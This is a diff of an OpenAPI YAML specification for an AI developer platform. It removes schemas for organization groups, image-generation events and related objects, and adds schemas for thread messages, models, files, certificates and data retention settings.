+ $ref: '#/components/schemas/TextAnnotationDelta'
required:
- - object
- - id
- - deleted
- x-oaiMeta:
- example: |
- {
- "object": "group.deleted",
- "id": "group_01J1F8ABCDXYZ",
- "deleted": true
- }
- GroupListResource:
+ - index
+ - type
+ MessageDeltaObject:
type: object
- description: Paginated list of organization groups.
+ title: Message delta object
+ description: |
+ Represents a message delta i.e. any changed fields on a message during streaming.
properties:
+ id:
+ description: The identifier of the message, which can be referenced in API endpoints.
+ type: string
object:
+ description: The object type, which is always `thread.message.delta`.
type: string
enum:
- - list
- description: Always `list`.
+ - thread.message.delta
x-stainless-const: true
- data:
- type: array
- description: Groups returned in the current page.
- items:
- $ref: '#/components/schemas/GroupResponse'
- has_more:
- type: boolean
- description: Whether additional groups are available when paginating.
- next:
- description: Cursor to fetch the next page of results, or `null` if there are no more results.
- anyOf:
- - type: string
- - type: 'null'
+ delta:
+ description: The delta containing the fields that have changed on the Message.
+ type: object
+ properties:
+ role:
+ description: The entity that produced the message. One of `user` or `assistant`.
+ type: string
+ enum:
+ - user
+ - assistant
+ content:
+ description: The content of the message in array of text and/or images.
+ type: array
+ items:
+ $ref: '#/components/schemas/MessageContentDelta'
required:
+ - id
- object
- - data
- - has_more
- - next
+ - delta
x-oaiMeta:
- name: Group list
+ name: The message delta object
+ beta: true
example: |
{
- "object": "list",
- "data": [
- {
- "id": "group_01J1F8ABCDXYZ",
- "name": "Support Team",
- "created_at": 1711471533,
- "is_scim_managed": false
- },
- {
- "id": "group_01J1F8PQRMNO",
- "name": "Sales",
- "created_at": 1711472599,
- "is_scim_managed": true
- }
- ],
- "has_more": false,
- "next": null
+ "id": "msg_123",
+ "object": "thread.message.delta",
+ "delta": {
+ "content": [
+ {
+ "index": 0,
+ "type": "text",
+ "text": { "value": "Hello", "annotations": [] }
+ }
+ ]
+ }
}
- GroupMemberUser:
+ MessageObject:
type: object
- description: Details about a user returned from an organization group membership lookup.
+ title: The message object
+ description: Represents a message within a [thread](https://developers.openai.com/api/docs/assistants/migration).
properties:
id:
+ description: The identifier, which can be referenced in API endpoints.
type: string
- description: Identifier for the user.
- name:
+ object:
+ description: The object type, which is always `thread.message`.
type: string
- description: Display name of the user.
- email:
- description: Email address of the user, or `null` for users without an email.
+ enum:
+ - thread.message
+ x-stainless-const: true
+ created_at:
+ description: The Unix timestamp (in seconds) for when the message was created.
+ type: integer
+ format: unixtime
+ thread_id:
+ description: The [thread](https://developers.openai.com/api/docs/assistants/migration) ID that this message belongs to.
+ type: string
+ status:
+ description: The status of the message, which can be either `in_progress`, `incomplete`, or `completed`.
+ type: string
+ enum:
+ - in_progress
+ - incomplete
+ - completed
+ incomplete_details:
anyOf:
- - type: string
+ - description: On an incomplete message, details about why the message is incomplete.
+ type: object
+ properties:
+ reason:
+ type: string
+ description: The reason the message is incomplete.
+ enum:
+ - content_filter
+ - max_tokens
+ - run_cancelled
+ - run_expired
+ - run_failed
+ required:
+ - reason
- type: 'null'
- picture:
- description: URL of the user's profile picture, if available.
+ completed_at:
anyOf:
- - type: string
+ - description: The Unix timestamp (in seconds) for when the message was completed.
+ type: integer
+ format: unixtime
- type: 'null'
- is_service_account:
- description: Whether the user is a service account.
+ incomplete_at:
anyOf:
- - type: boolean
+ - description: The Unix timestamp (in seconds) for when the message was marked as incomplete.
+ type: integer
+ format: unixtime
- type: 'null'
- user_type:
+ role:
+ description: The entity that produced the message. One of `user` or `assistant`.
type: string
enum:
- user
- - tenant_user
- description: The type of user.
+ - assistant
+ content:
+ description: The content of the message in array of text and/or images.
+ type: array
+ items:
+ $ref: '#/components/schemas/MessageContent'
+ assistant_id:
+ anyOf:
+ - description: If applicable, the ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) that authored this message.
+ type: string
+ - type: 'null'
+ run_id:
+ anyOf:
+ - description: The ID of the [run](https://developers.openai.com/api/docs/assistants/migration) associated with the creation of this message. Value is `null` when messages are created manually using the create message or create thread endpoints.
+ type: string
+ - type: 'null'
+ attachments:
+ anyOf:
+ - type: array
+ items:
+ type: object
+ properties:
+ file_id:
+ type: string
+ description: The ID of the file to attach to the message.
+ tools:
+ description: The tools to add this file to.
+ type: array
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/AssistantToolsCode'
+ - $ref: '#/components/schemas/AssistantToolsFileSearchTypeOnly'
+ description: A list of files attached to the message, and the tools they were added to.
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
required:
- id
- - name
- - email
- - picture
- - is_service_account
- - user_type
+ - object
+ - created_at
+ - thread_id
+ - status
+ - incomplete_details
+ - completed_at
+ - incomplete_at
+ - role
+ - content
+ - assistant_id
+ - run_id
+ - attachments
+ - metadata
x-oaiMeta:
- name: The group member user object
+ name: The message object
+ beta: true
example: |
{
- "id": "user_abc123",
- "name": "Ada Lovelace",
- "email": "ada@example.com",
- "picture": null,
- "is_service_account": false,
- "user_type": "user"
+ "id": "msg_abc123",
+ "object": "thread.message",
+ "created_at": 1698983503,
+ "thread_id": "thread_abc123",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "text",
+ "text": {
+ "value": "Hi! How can I help you today?",
+ "annotations": []
+ }
+ }
+ ],
+ "assistant_id": "asst_abc123",
+ "run_id": "run_abc123",
+ "attachments": [],
+ "metadata": {}
}
- GroupResourceWithSuccess:
+ MessagePhase:
+ type: string
+ description: |
+ Labels an `assistant` message as intermediate commentary (`commentary`) or the final answer (`final_answer`).
+ For models like `gpt-5.3-codex` and beyond, when sending follow-up requests, preserve and resend
+ phase on all assistant messages — dropping it can degrade performance. Not used for user messages.
+ enum:
+ - commentary
+ - final_answer
+ MessageRequestContentTextObject:
+ title: Text
type: object
- description: Response returned after updating a group.
+ description: The text content that is part of a message.
properties:
- id:
+ type:
+ description: Always `text`.
type: string
- description: Identifier for the group.
- name:
+ enum:
+ - text
+ x-stainless-const: true
+ text:
type: string
- description: Updated display name for the group.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the group was created.
- is_scim_managed:
- type: boolean
- description: Whether the group is managed through SCIM and controlled by your identity provider.
+ description: Text content to be sent to the model
required:
- - id
- - name
- - created_at
- - is_scim_managed
- x-oaiMeta:
- example: |
- {
- "id": "group_01J1F8ABCDXYZ",
- "name": "Escalations",
- "created_at": 1711471533,
- "is_scim_managed": false
- }
- GroupResponse:
- type: object
- description: Details about an organization group.
+ - type
+ - text
+ MessageStreamEvent:
+ anyOf:
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.message.created
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/MessageObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is created.
+ x-oaiMeta:
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.message.in_progress
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/MessageObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
+ x-oaiMeta:
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.message.delta
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/MessageDeltaObject'
+ required:
+ - event
+ - data
+ description: Occurs when parts of a [Message](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
+ x-oaiMeta:
+ dataDescription: '`data` is a [message delta](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.message.completed
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/MessageObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is completed.
+ x-oaiMeta:
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.message.incomplete
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/MessageObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) ends before it is completed.
+ x-oaiMeta:
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
+ discriminator:
+ propertyName: event
+ Metadata:
+ anyOf:
+ - type: object
+ description: |
+ Set of 16 key-value pairs that can be attached to an object. This can be
+ useful for storing additional information about the object in a structured
+ format, and querying for objects via API or the dashboard.
+
+ Keys are strings with a maximum length of 64 characters. Values are strings
+ with a maximum length of 512 characters.
+ additionalProperties:
+ type: string
+ x-oaiTypeLabel: map
+ - type: 'null'
+ Model:
+ title: Model
+ description: Describes an OpenAI model offering that can be used with the API.
properties:
id:
type: string
- description: Identifier for the group.
- name:
- type: string
- description: Display name of the group.
- created_at:
+ description: The model identifier, which can be referenced in the API endpoints.
+ created:
type: integer
format: unixtime
- description: Unix timestamp (in seconds) when the group was created.
- is_scim_managed:
- type: boolean
- description: Whether the group is managed through SCIM and controlled by your identity provider.
- group_type:
- type: string
- enum:
- - group
- - tenant_group
- description: The type of the group.
- required:
- - id
- - name
- - created_at
- - is_scim_managed
- - group_type
- x-oaiMeta:
- name: Group
- example: |
- {
- "id": "group_01J1F8ABCDXYZ",
- "name": "Support Team",
- "created_at": 1711471533,
- "is_scim_managed": false,
- "group_type": "group"
- }
- GroupRoleAssignment:
- type: object
- description: Role assignment linking a group to a role.
- properties:
+ description: The Unix timestamp (in seconds) when the model was created.
object:
type: string
+ description: The object type, which is always "model".
enum:
- - group.role
- description: Always `group.role`.
+ - model
x-stainless-const: true
- group:
- $ref: '#/components/schemas/Group'
- role:
- $ref: '#/components/schemas/Role'
- required:
- - object
- - group
- - role
- x-oaiMeta:
- name: The group role object
- example: |
- {
- "object": "group.role",
- "group": {
- "object": "group",
- "id": "group_01J1F8ABCDXYZ",
- "name": "Support Team",
- "created_at": 1711471533,
- "scim_managed": false
- },
- "role": {
- "object": "role",
- "id": "role_01J1F8ROLE01",
- "name": "API Group Manager",
- "description": "Allows managing organization groups",
- "permissions": [
- "api.groups.read",
- "api.groups.write"
- ],
- "resource_type": "api.organization",
- "predefined_role": false
- }
- }
- GroupUser:
- type: object
- description: Represents an individual user returned when inspecting group membership.
- properties:
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints
- name:
+ owned_by:
type: string
- description: The name of the user.
- email:
+ description: The organization that owns the model.
+ shutdown_date:
anyOf:
- type: string
+ format: date
- type: 'null'
- description: The email address of the user.
+ description: The date when the model will shut down, or null if not announced.
required:
- id
- - name
- - email
- GroupUserAssignment:
- type: object
- description: Confirmation payload returned after adding a user to a group.
- properties:
- object:
- type: string
- enum:
- - group.user
- description: Always `group.user`.
- x-stainless-const: true
- user_id:
- type: string
- description: Identifier of the user that was added.
- group_id:
- type: string
- description: Identifier of the group the user was added to.
- required:
- - object
- - user_id
- - group_id
- x-oaiMeta:
- name: The group user object
- example: |
- {
- "object": "group.user",
- "user_id": "user_abc123",
- "group_id": "group_01J1F8ABCDXYZ"
- }
- GroupUserDeletedResource:
- type: object
- description: Confirmation payload returned after removing a user from a group.
- properties:
- object:
- type: string
- enum:
- - group.user.deleted
- description: Always `group.user.deleted`.
- x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the group membership was removed.
- required:
- object
- - deleted
+ - created
+ - owned_by
x-oaiMeta:
- name: Group user deletion confirmation
+ name: The model object
example: |
{
- "object": "group.user.deleted",
- "deleted": true
+ "id": "gpt-6-astra",
+ "object": "model",
+ "created": 1686935002,
+ "owned_by": "openai",
+ "shutdown_date": "2026-10-23"
}
- HostedToolPermission:
- type: object
- description: Permission state for a single hosted tool on a project.
- properties:
- enabled:
- type: boolean
- description: Whether the hosted tool is enabled for the project.
- required:
- - enabled
- HostedToolPermissionUpdate:
- type: object
- properties:
- enabled:
- type: boolean
- description: Whether to enable the hosted tool for the project.
- required:
- - enabled
- Image:
- type: object
- description: Represents the content or the URL of an image generated by the OpenAI API.
- properties:
- b64_json:
- type: string
- description: The base64-encoded JSON of the generated image. Returned by default for the GPT image models, and only present if `response_format` is set to `b64_json` for `dall-e-2` and `dall-e-3`.
- url:
- type: string
- format: uri
- description: When using `dall-e-2` or `dall-e-3`, the URL of the generated image if `response_format` is set to `url` (default value). Unsupported for the GPT image models.
- revised_prompt:
- type: string
- description: For `dall-e-3` only, the revised prompt that was used to generate the image.
- ImageEditCompletedEvent:
+ ModelIds:
+ anyOf:
+ - $ref: '#/components/schemas/ModelIdsShared'
+ - $ref: '#/components/schemas/ModelIdsResponses'
+ ModelIdsCompaction:
+ anyOf:
+ - $ref: '#/components/schemas/ModelIdsResponses'
+ - type: string
+ - type: 'null'
+ description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
+ ModelIdsLive:
+ description: The Live model. Required in the session configuration for every transport; do not pass it as a URL query parameter.
+ example: gpt-live-1
+ anyOf:
+ - type: string
+ minLength: 1
+ - type: string
+ enum:
+ - gpt-live-1
+ ModelIdsResponses:
+ example: gpt-6-astra
+ anyOf:
+ - $ref: '#/components/schemas/ModelIdsShared'
+ - type: string
+ title: ResponsesOnlyModel
+ enum:
+ - o1-pro
+ - o1-pro-2025-03-19
+ - o3-pro
+ - o3-pro-2025-06-10
+ - o3-deep-research
+ - o3-deep-research-2025-06-26
+ - o4-mini-deep-research
+ - o4-mini-deep-research-2025-06-26
+ - computer-use-preview
+ - computer-use-preview-2025-03-11
+ - gpt-5.5-pro
+ - gpt-5.5-pro-2026-04-23
+ - gpt-5-codex
+ - gpt-5-pro
+ - gpt-5-pro-2025-10-06
+ - gpt-5.1-codex-max
+ - gpt-daybreak-blue-latest
+ - gpt-daybreak-red-latest
+ - gpt-5.6-cyber
+ ModelIdsShared:
+ example: gpt-6-astra
+ anyOf:
+ - type: string
+ - $ref: '#/components/schemas/ChatModel'
+ ModelResponseProperties:
type: object
- description: |
- Emitted when image editing has completed and the final image is available.
properties:
- type:
- type: string
- description: |
- The type of the event. Always `image_edit.completed`.
- enum:
- - image_edit.completed
- x-stainless-const: true
- b64_json:
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ top_logprobs:
+ anyOf:
+ - description: |
+ An integer between 0 and 20 specifying the maximum number of most likely
+ tokens to return at each token position, each with an associated log
+ probability. In some cases, the number of returned tokens may be fewer than
+ requested.
+ type: integer
+ minimum: 0
+ maximum: 20
+ - type: 'null'
+ temperature:
+ anyOf:
+ - type: number
+ minimum: 0
+ maximum: 2
+ default: 1
+ example: 1
+ description: |
+ What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
+ We generally recommend altering this or `top_p` but not both.
+ - type: 'null'
+ top_p:
+ anyOf:
+ - type: number
+ minimum: 0
+ maximum: 1
+ default: 1
+ example: 1
+ description: |
+ An alternative to sampling with temperature, called nucleus sampling,
+ where the model considers the results of the tokens with top_p probability
+ mass. So 0.1 means only the tokens comprising the top 10% probability mass
+ are considered.
+
+ We generally recommend altering this or `temperature` but not both.
+ - type: 'null'
+ user:
type: string
+ example: user-1234
+ deprecated: true
description: |
- Base64-encoded final edited image data, suitable for rendering as an image.
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp when the event was created.
- size:
+ This field is being replaced by `safety_identifier` and `prompt_cache_key`. Use `prompt_cache_key` instead to maintain caching optimizations.
+ A stable identifier for your end-users.
+ Used to boost cache hit rates by better bucketing similar requests and to help OpenAI detect and prevent abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ safety_identifier:
+ anyOf:
+ - type: string
+ maxLength: 64
+ example: safety-identifier-1234
+ description: |
+ A stable identifier used to help detect users of your application that may be violating OpenAI's usage policies.
+ The IDs should be a string that uniquely identifies each user, with a maximum length of 64 characters. We recommend hashing their username or email address, in order to avoid sending us any identifying information. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
+ - type: 'null'
+ prompt_cache_key:
anyOf:
- type: string
+ example: prompt-cache-key-1234
+ description: |
+ Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
+ - type: 'null'
+ prompt_cache_retention:
+ deprecated: true
+ anyOf:
- type: string
enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- quality:
- type: string
+ - in_memory
+ - 24h
+ description: |
+ Deprecated. Use `prompt_cache_options.ttl` instead.
+
+ The retention policy for the prompt cache. Set to `24h` to enable extended prompt caching, which keeps cached prefixes active for longer, up to a maximum of 24 hours. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
+ This field expresses a maximum retention policy, while
+ `prompt_cache_options.ttl` expresses a minimum cache lifetime. The two
+ fields are independent and do not interact.
+ For `gpt-5.5`, `gpt-5.5-pro`, and future models, only `24h` is supported.
+
+ For older models that support both `in_memory` and `24h`, the default depends on your organization's data retention policy:
+ - Organizations without ZDR enabled default to `24h`.
+ - Organizations with ZDR enabled default to `in_memory` when `prompt_cache_retention` is not specified.
+ - type: 'null'
+ ModifyAssistantRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ model:
description: |
- The quality setting for the edited image.
- enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- background:
- type: string
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
+ anyOf:
+ - type: string
+ - $ref: '#/components/schemas/AssistantSupportedModels'
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ name:
+ anyOf:
+ - description: |
+ The name of the assistant. The maximum length is 256 characters.
+ type: string
+ maxLength: 256
+ - type: 'null'
+ description:
+ anyOf:
+ - description: |
+ The description of the assistant. The maximum length is 512 characters.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ instructions:
+ anyOf:
+ - description: |
+ The system instructions that the assistant uses. The maximum length is 256,000 characters.
+ type: string
+ maxLength: 256000
+ - type: 'null'
+ tools:
description: |
- The background setting for the edited image.
- enum:
- - transparent
- - opaque
- - auto
- output_format:
+ A list of tool enabled on the assistant. There can be a maximum of 128 tools per assistant. Tools can be of types `code_interpreter`, `file_search`, or `function`.
+ default: []
+ type: array
+ maxItems: 128
+ items:
+ $ref: '#/components/schemas/AssistantTool'
+ tool_resources:
+ anyOf:
+ - type: object
+ description: |
+ A set of resources that are used by the assistant's tools. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
+ properties:
+ code_interpreter:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ Overrides the list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ default: []
+ maxItems: 20
+ items:
+ type: string
+ file_search:
+ type: object
+ properties:
+ vector_store_ids:
+ type: array
+ description: |
+ Overrides the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ maxItems: 1
+ items:
+ type: string
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ temperature:
+ anyOf:
+ - description: |
+ What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
+ type: number
+ minimum: 0
+ maximum: 2
+ default: 1
+ example: 1
+ - type: 'null'
+ top_p:
+ anyOf:
+ - type: number
+ minimum: 0
+ maximum: 1
+ default: 1
+ example: 1
+ description: |
+ An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
+
+ We generally recommend altering this or temperature but not both.
+ - type: 'null'
+ response_format:
+ anyOf:
+ - $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
+ - type: 'null'
+ ModifyCertificateRequest:
+ type: object
+ properties:
+ name:
type: string
- description: |
- The output format for the edited image.
- enum:
- - png
- - webp
- - jpeg
- usage:
- $ref: '#/components/schemas/ImagesUsage'
- required:
- - type
- - b64_json
- - created_at
- - size
- - quality
- - background
- - output_format
- - usage
- x-oaiMeta:
- name: image_edit.completed
- group: images
- example: |
- {
- "type": "image_edit.completed",
- "b64_json": "...",
- "created_at": 1620000000,
- "size": "1024x1024",
- "quality": "high",
- "background": "transparent",
- "output_format": "png",
- "usage": {
- "total_tokens": 100,
- "input_tokens": 50,
- "output_tokens": 50,
- "input_tokens_details": {
- "text_tokens": 10,
- "image_tokens": 40
- }
- }
- }
- ImageEditPartialImageEvent:
+ description: The updated name for the certificate
+ ModifyMessageRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ ModifyRunRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ ModifyThreadRequest:
type: object
+ additionalProperties: false
+ properties:
+ tool_resources:
+ anyOf:
+ - type: object
+ description: |
+ A set of resources that are made available to the assistant's tools in this thread. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
+ properties:
+ code_interpreter:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ default: []
+ maxItems: 20
+ items:
+ type: string
+ file_search:
+ type: object
+ properties:
+ vector_store_ids:
+ type: array
+ description: |
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
+ maxItems: 1
+ items:
+ type: string
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ NoiseReductionType:
+ type: string
+ enum:
+ - near_field
+ - far_field
description: |
- Emitted when a partial image is available during image editing streaming.
+ Type of noise reduction. `near_field` is for close-talking microphones such as headphones, `far_field` is for far-field microphones such as laptop or conference room microphones.
+ OpenAIFile:
+ title: OpenAIFile
+ description: The `File` object represents a document that has been uploaded to OpenAI.
properties:
- type:
- type: string
- description: |
- The type of the event. Always `image_edit.partial_image`.
- enum:
- - image_edit.partial_image
- x-stainless-const: true
- b64_json:
+ id:
type: string
- description: |
- Base64-encoded partial image data, suitable for rendering as an image.
+ description: The file identifier, which can be referenced in the API endpoints.
+ bytes:
+ type: integer
+ description: The size of the file, in bytes.
created_at:
type: integer
format: unixtime
- description: |
- The Unix timestamp when the event was created.
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- quality:
+ description: The Unix timestamp (in seconds) for when the file was created.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the file will expire.
+ filename:
type: string
- description: |
- The quality setting for the requested edited image.
+ description: The name of the file.
+ object:
+ type: string
+ description: The object type, which is always `file`.
enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- background:
+ - file
+ x-stainless-const: true
+ purpose:
type: string
- description: |
- The background setting for the requested edited image.
+ description: The intended purpose of the file. Supported values are `assistants`, `assistants_output`, `batch`, `batch_output`, `fine-tune`, `fine-tune-results`, `vision`, and `user_data`.
enum:
- - transparent
- - opaque
- - auto
- output_format:
+ - assistants
+ - assistants_output
+ - batch
+ - batch_output
+ - fine-tune
+ - fine-tune-results
+ - vision
+ - user_data
+ status:
type: string
- description: |
- The output format for the requested edited image.
+ deprecated: true
+ description: Deprecated. The current status of the file, which can be either `uploaded`, `processed`, or `error`.
enum:
- - png
- - webp
- - jpeg
- partial_image_index:
- type: integer
- description: |
- 0-based index for the partial image (streaming).
+ - uploaded
+ - processed
+ - error
+ status_details:
+ type: string
+ deprecated: true
+ description: Deprecated. For details on why a fine-tuning training file failed validation, see the `error` field on `fine_tuning.job`.
required:
- - type
- - b64_json
+ - id
+ - object
+ - bytes
- created_at
- - size
- - quality
- - background
- - output_format
- - partial_image_index
+ - filename
+ - purpose
+ - status
x-oaiMeta:
- name: image_edit.partial_image
- group: images
+ name: The file object
example: |
{
- "type": "image_edit.partial_image",
- "b64_json": "...",
- "created_at": 1620000000,
- "size": "1024x1024",
- "quality": "high",
- "background": "transparent",
- "output_format": "png",
- "partial_image_index": 0
+ "id": "file-abc123",
+ "object": "file",
+ "bytes": 120000,
+ "created_at": 1677610602,
+ "expires_at": 1680202602,
+ "filename": "salesOverview.pdf",
+ "purpose": "assistants",
}
- ImageEditStreamEvent:
- anyOf:
- - $ref: '#/components/schemas/ImageEditPartialImageEvent'
- - $ref: '#/components/schemas/ImageEditCompletedEvent'
- discriminator:
- propertyName: type
- ImageGenCompletedEvent:
+ OrganizationCertificate:
type: object
- description: |
- Emitted when image generation has completed and the final image is available.
+ description: Represents an individual certificate configured at the organization level.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `image_generation.completed`.
enum:
- - image_generation.completed
+ - organization.certificate
+ description: The object type, which is always `organization.certificate`.
x-stainless-const: true
- b64_json:
+ id:
type: string
- description: |
- Base64-encoded image data, suitable for rendering as an image.
+ description: The identifier, which can be referenced in API endpoints
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The name of the certificate.
created_at:
type: integer
format: unixtime
- description: |
- The Unix timestamp when the event was created.
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- quality:
- type: string
- description: |
- The quality setting for the generated image.
- enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- background:
- type: string
- description: |
- The background setting for the generated image.
- enum:
- - transparent
- - opaque
- - auto
- output_format:
- type: string
- description: |
- The output format for the generated image.
- enum:
- - png
- - webp
- - jpeg
- usage:
- $ref: '#/components/schemas/ImagesUsage'
+ description: The Unix timestamp (in seconds) of when the certificate was uploaded.
+ certificate_details:
+ type: object
+ properties:
+ valid_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate becomes valid.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate expires.
+ active:
+ type: boolean
+ description: Whether the certificate is currently active at the organization level.
required:
- - type
- - b64_json
+ - object
+ - id
+ - name
- created_at
- - size
- - quality
- - background
- - output_format
- - usage
- x-oaiMeta:
- name: image_generation.completed
- group: images
- example: |
- {
- "type": "image_generation.completed",
- "b64_json": "...",
- "created_at": 1620000000,
- "size": "1024x1024",
- "quality": "high",
- "background": "transparent",
- "output_format": "png",
- "usage": {
- "total_tokens": 100,
- "input_tokens": 50,
- "output_tokens": 50,
- "input_tokens_details": {
- "text_tokens": 10,
- "image_tokens": 40
- }
- }
- }
- ImageGenPartialImageEvent:
+ - certificate_details
+ - active
+ OrganizationCertificateActivationResponse:
type: object
- description: |
- Emitted when a partial image is available during image generation streaming.
properties:
- type:
+ object:
type: string
- description: |
- The type of the event. Always `image_generation.partial_image`.
enum:
- - image_generation.partial_image
+ - organization.certificate.activation
+ description: The organization certificate activation result type.
x-stainless-const: true
- b64_json:
- type: string
- description: |
- Base64-encoded partial image data, suitable for rendering as an image.
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp when the event was created.
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- quality:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/OrganizationCertificate'
+ required:
+ - object
+ - data
+ OrganizationCertificateDeactivationResponse:
+ type: object
+ properties:
+ object:
type: string
- description: |
- The quality setting for the requested image.
enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- background:
+ - organization.certificate.deactivation
+ description: The organization certificate deactivation result type.
+ x-stainless-const: true
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/OrganizationCertificate'
+ required:
+ - object
+ - data
+ OrganizationDataRetention:
+ type: object
+ description: Represents the organization's data retention control setting.
+ properties:
+ object:
type: string
- description: |
- The background setting for the requested image.
enum:
- - transparent
- - opaque
- - auto
- output_format:
+ - organization.data_retention
+ description: The object type, which is always `organization.data_retention`.
+ x-stainless-const: true
+ type:
type: string
- description: |
- The output format for the requested image.
enum:
- - png
- - webp
- - jpeg
- partial_image_index:
- type: integer
- description: |
- 0-based index for the partial image (streaming).
+ - zero_data_retention
+ - modified_abuse_monitoring
+ - enhanced_zero_data_retention
+ - enhanced_modified_abuse_monitoring
+ description: The configured organization data retention type.
required:
+ - object
- type
- - b64_json
- - created_at
- - size
- - quality
- - background
- - output_format
- - partial_image_index
x-oaiMeta:
- name: image_generation.partial_image
- group: images
+ name: The organization data retention object
example: |
{
- "type": "image_generation.partial_image",
- "b64_json": "...",
- "created_at": 1620000000,
- "size": "1024x1024",
- "quality": "high",
- "background": "transparent",
- "output_format": "png",
- "partial_image_index": 0
+ "object": "organization.data_retention",
+ "type": "modified_abuse_monitoring"
}
- ImageGenStreamEvent:
- anyOf:
- - $ref: '#/components/schemas/ImageGenPartialImageEvent'
- - $ref: '#/components/schemas/ImageGenCompletedEvent'
- discriminator:
- propertyName: type
- ImageGenTool:
